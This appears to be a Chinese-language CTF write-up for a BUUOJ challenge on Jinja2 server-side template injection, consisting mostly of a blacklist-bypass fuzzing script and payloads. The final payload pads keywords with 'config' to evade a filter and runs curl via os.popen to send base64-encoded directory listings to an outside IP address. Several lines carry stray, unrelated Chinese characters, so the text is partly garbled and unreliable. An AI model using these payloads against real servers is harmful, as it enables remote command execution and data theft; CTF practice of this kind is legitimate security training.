題目
image.png
過程
1.在 ssti 中過濾了后, 可以通過{%外帶
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=
ls /') %}1{% endif %}
由于有黑名單燃乍,這里使用得操作是利用blacklist里面最后一個進行繞過宰僧。
只要在其他語句加入他,那么就可以繞過其他語句了捣作。
但是不知道他得blacklist順序衣摩。
寫腳本測一下
import re
import requests
from time import sleep
url = "http://f9fd3c30-c575-4a29-88a3-680ebc168df5.node3.buuoj.cn"
def gen_words():
f = open("ssti_payload.txt", "r").read()
words = re.findall("[a-zA-Z]+", f)
f = open("ssti_word.txt", "w")
res = sorted(list(set(words)))
for i in res:
f.write(i + "\n")
return res
def find_unused_word(words, payload):
used_word = list(set(re.findall("[a-zA-Z]+", payload)))
return [i for i in words if i not in used_word]
def fuzz():
payload = "{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`ls /`') %}1{% endif %}"
words = gen_words()
unused_word = find_unused_word(words, payload)
for i in unused_word:
data = {
"name": i
}
res = requests.post(url, data=data).text
if "hello !" in res:
data = {
"name": "cla" + i + "ss"
}
res = requests.post(url, data=data).text
if "class" in res:
print(f"[*] find {i}")
sleep(0.1)
if __name__ == "__main__":
fuzz()
用了他的腳本進行黑箱測試卜录。
發(fā)現(xiàn)config可用戈擒。
那么使用config來跑。
需要開靶機利用curl來帶回數(shù)據(jù)艰毒。
類似反彈shell?
使用自己的靶機進行RCE即可筐高。
最終payload:
{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://174.0.167.222:2333/ -d `ls /|base64`') %}1{% endiconfigf %}
ssti注入深入學(xué)習(xí)
https://xz.aliyun.com/t/6885#toc-4Python